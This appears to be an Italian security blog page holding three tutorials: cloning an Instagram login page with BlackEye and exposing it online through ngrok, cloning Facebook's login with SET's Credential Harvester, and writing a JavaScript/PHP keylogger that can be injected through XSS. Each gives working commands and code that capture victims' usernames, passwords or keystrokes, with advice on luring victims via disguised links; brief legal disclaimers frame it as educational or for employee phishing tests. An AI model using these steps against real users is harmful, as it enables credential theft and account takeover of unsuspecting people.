Visualizzazione post con etichetta phishing. Mostra tutti i post
Visualizzazione post con etichetta phishing. Mostra tutti i post

lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








giovedì 20 ottobre 2016

Kali Linux: Clonare un sito per rubare le credenziali utilizzando SET

In questo articolo mostrerò come viene utilizzato uno degli strumenti del Social-Engineer Toolkit (SET) per realizzare un attacco basato sul phishing. In pratica si procede alla clonazione della pagina di inserimento credenziali di un sito (ad es. facebook) e a creare un'apposito collegamento a tale pagina. Quando un utente sprovveduto accederà alla pagina clonata e inserirà le credenziali, queste verranno memorizzate sul sito esca.

ATTENZIONE:
Danneggiare o violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

La prima operazione da effettuare consiste nel verificare se Kali Linux e SET siano aggiornati. Per aggiornare il sistema operativo e il toolkit SET rimando all'articolo Kali Linux: Messaggio "Something went wrong, printing the error: name 'src' is not defined" nell'utilizzo di SET presente su questo blog.

Vediamo passo passo come si prepara l'attacco.
  • Da terminale lanciare SET eseguendo il comando
    setoolkit
  • Accettare le condizioni del servizio se visualizzate;
  • Avviare l'opzione 1) Social-Engineering Attacks;
    SET, Social-Engineering Attacks
    FIG 1 - SET, Social-Engineering Attacks
  • Nel menu successivo selezionare l'opzione 2) Website Attack Vectors;
    SET, Website Attack Vectors
    FIG 2 - SET, Website Attack Vectors
  • Scegliere l'opzione 3) Credential Harvester Attack Method;
    SET, Credential Harvester Attack Method
    FIG 4 - SET, Credential Harvester Attack Method
  • Per procedere alla clonazione di una pagina di un sito è necessario selezionare l'opzione 2) Site Cloner;
    SET, Site Cloner
    FIG 5 - SET, Site Cloner
  • Nella schermata successiva ci viene chiesto di inserire il proprio indirizzo IP. La vittima si connetterà alla pagina clonata sulla nostra macchina, quindi viene richiesto il nostro IP.
    SET, IP
    FIG 6 - SET, IP
  • Successivamente viene richiesto di indicare la pagina da clonare. (Ad es. inserire https://www.facebook.com);
    SET, Clonazione del sito
    FIG 7 - SET, Clonazione del sito
  • Per poter funzionare questo tipo di attacco richiede che il servizio Apache sia avviato, in caso contrario verrà richiesto se si intende avviarlo. All'eventuale richiesta rispondere affermativamente.
    SET, avvio di Apache
    FIG 8 - SET, avvio di Apache
Adesso il sito clonato gira sul nostro server Apache all'indirizzo IP specificato. Non resta che mascherare l'IP all'interno di un link e inviarlo alla vittima. Cliccando sul link, il malcapitato si ritroverà davanti la pagina clonata del tutto simile all'originale.
Pagina clonata
FIG 9 - Pagina clonata

Quando la vittima proverà ad inserire le proprie credenziali queste verranno sia visualizzate sul terminale di Kali Linux sia salvate all'interno di un file di testo dal nome harvest<data_e_ora>.txt in /var/www/html mentre l'utente verrà dirottato sul sito originale.
Credenziali catturare visualizzate nella finestra del terminale
FIG 10 - Credenziali catturare visualizzate nella finestra del terminale
File contenente le credenziali catturate
FIG 11 - File contenente le credenziali catturate





venerdì 6 giugno 2014

Keylogger in Ajax

In questo articolo illustrerò come costruire un semplice keylogger per una pagina web sfruttando Ajax.
Prima di iniziare ci tengo a specificare che il presente articolo è solo a scopo informativo e, ricordo, che rubare dati e password è un reato perseguibile penalmente.

Con l’avvento di nuove tecniche di programmazione introdotte dal Web 2.0 abbiamo assistito ad una maggiore iterazione tra gli utenti e le pagine web grazie anche allo scambio di informazioni tra client e server che avviene in maniera più o meno trasparente. Questa evoluzione porta con se nuovi tipi di problemi relativi alla sicurezza.

Di seguito mostrerò come costruire un keylogger su una pagina web. In pratica il keylogger cattura tutto quello che l’utente scrive nella pagina web. Di per sé questo tipo di programma non sembra essere molto pericoloso ma cosa succederebbe se sfruttassimo un sito vulnerabile a XSS? Potremmo fare in modo che il nostro script venga caricato e catturi ciò che digita l’utente sulla pagina del sito vulnerabile.

Per prima cosa creiamo un file HTML con dei campi in cui l’utente andrà a scrivere. Ho chiamato questo file home.html. Ciò che ci interessa è che la nostra pagina, con l’utilizzo di chiamate asincrone, invii dati al server ogni volta che l’utente digiti qualche tasto. Per fare questo ci aiuteremo con javascript e utilizzeremo l’oggetto XMLHttpRequest.  Per intercettare la pressione di un tasto da parte dell’utente, nella pagina HTML  ho usato l’evento onkeypress all’interno del tag  <body> e richiamo l’handler keylog() che andrò a sviluppare all’interno del file keylogger.js.

<body onkeypress="keylog()">

Il ruolo della funzione keylog() presente in keylogger.js è quello di intercettare il tasto premuto e far partire una richiesta GET al server. Event.charCode ci fornisce il valore Unicode del tasto premuto. Nel caso in cui event.charCode non fosse supportato dal browser, andremo a leggere il valore del tasto premuto utilizzando la proprietà event.keycode. Ad es. Internet Explorer supporta solo la proprietà event.keycode. La funzione fromCharCode ci permette di ricavare una stringa dai valori Unicode rilevati:

keyPressed = String.fromCharCode(evt.charCode ?evt.charCode : evt.keyCode);

Una volta individuato il tasto premuto keylog() richiama la funzione makeRequest() che ci permette di effettuare una chiamata GET asincrona verso il server.

makeRequest('log.php?keyPressed=' + keyPressed);

Come è possibile notare, con la funzione makeRequest andiamo a richiamare il file log.php a cui passiamo il tasto premuto. 

Il file log.php è costituito da poche righe di codice; per semplicità sono stati omessi volutamente i controlli e la gestione degli errori. Il suo scopo è quello di ricevere il valore del tasto premuto attraverso GET e salvarlo all’interno di un file di log sul server (file.log). Ovviamente affinché log.php riesca a scrivere il file è necessario fornire gli opportuni permessi sulla cartella.

Qui potete scaricare i sorgenti dei file creati

Conclusioni
Creare un keylogger in una pagina web è un’operazione piuttosto semplice e, in questo caso, volutamente innocua, infatti il nostro keylogger intercetterà solo ciò che viene digitato sulla nostra pagina web. Tuttavia qualche malintenzionato potrebbe creare un'apposita pagina di phishing oppure sfruttare qualche sito vulnerabile a XSS per rubare i dati degli utenti che accedono al sito. Avere un buon antivirus spesso non basta ma bisogna usare buonsenso e prestare la massima attenzione. La forza di una catena si misura dalla forza del suo anello più debole e, nel campo della sicurezza informatica, l'anello più debole è spesso rappresentato dall'essere umano.